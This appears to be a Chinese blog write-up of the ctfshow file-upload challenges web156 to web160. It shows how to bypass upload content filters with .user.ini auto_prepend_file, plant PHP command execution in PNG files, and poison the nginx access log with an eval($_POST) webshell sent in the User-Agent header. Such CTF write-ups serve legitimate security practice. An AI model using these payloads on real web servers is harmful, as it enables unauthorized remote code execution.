ctfshow web入门 文件上传 web156-160

1.web156

前端还是要修改
在这里插入图片描述
文件内容中不能有php,[],图片必须是png格式
利用的还是.user.ini,写入auto_prepend_file=2.png，在上传2.png ，写入<?php system("cat /var/www/html/flag.???")?>，访问链接就可得到flag (http://…/upload/index.php)
上传.user.ini
在这里插入图片描述

上传2.png 读取flag
在这里插入图片描述

2.web157

前端还是要修改
在这里插入图片描述
文件内容中不能有php,[],;,图片必须是png格式
利用的还是.user.ini,写入auto_prepend_file=1.png，在上传1.png ，写入<?php system("cat /var/www/html/flag.???")?>，访问链接就可得到flag (http://…/upload/index.php)
上传1.png
在这里插入图片描述

上传.user.ini
在这里插入图片描述

3.web158

前端还是要修改
在这里插入图片描述

文件内容中不能有php,[],;,{}，图片必须是png格式
利用的还是.user.ini,写入auto_prepend_file=1.png，在上传1.png ，写入<?php system("cat /var/www/html/flag.???")?>，访问链接就可得到flag (http://…/upload/index.php)

上传1.png
在这里插入图片描述

上传.user.ini
在这里插入图片描述

4.web159

前端还是要修改
在这里插入图片描述

文件内容中不能有php,[],;,{},()，图片必须是png格式
利用的还是.user.ini,写入auto_prepend_file=1.png，在上传1.png ，写入<?= `tac …/f*`>，访问链接就可得到flag (http://…/upload/index.php)

上传1.png

在这里插入图片描述

上传1.png
在这里插入图片描述

5.web160

前端还是要修改
在这里插入图片描述

文件内容中不能有php,[],;,{},(),空格，log，``，图片必须是png格式
利用的还是.user.ini,写入auto_prepend_file=1.png，在上传1.png ，写入<?=include"/var/lo"."g/nginx/access.lo"."g"?>，访问链接就可得到 (http://…/upload/index.php),在ua头中写入一句话<?php eval($_POST[1])?>,再次访问链接 (http://…/upload/index.php)进行命令执行1=system(“tac …/f*”)?>，得到flag

上传.user.ini
在这里插入图片描述

上传1.png
在这里插入图片描述

在这里插入图片描述

参考文章：
ctfshow 文件上传

posted @ 2024-05-01 09:00  mushangqiujin  阅读(0)  评论(0)  编辑  收藏  举报  来源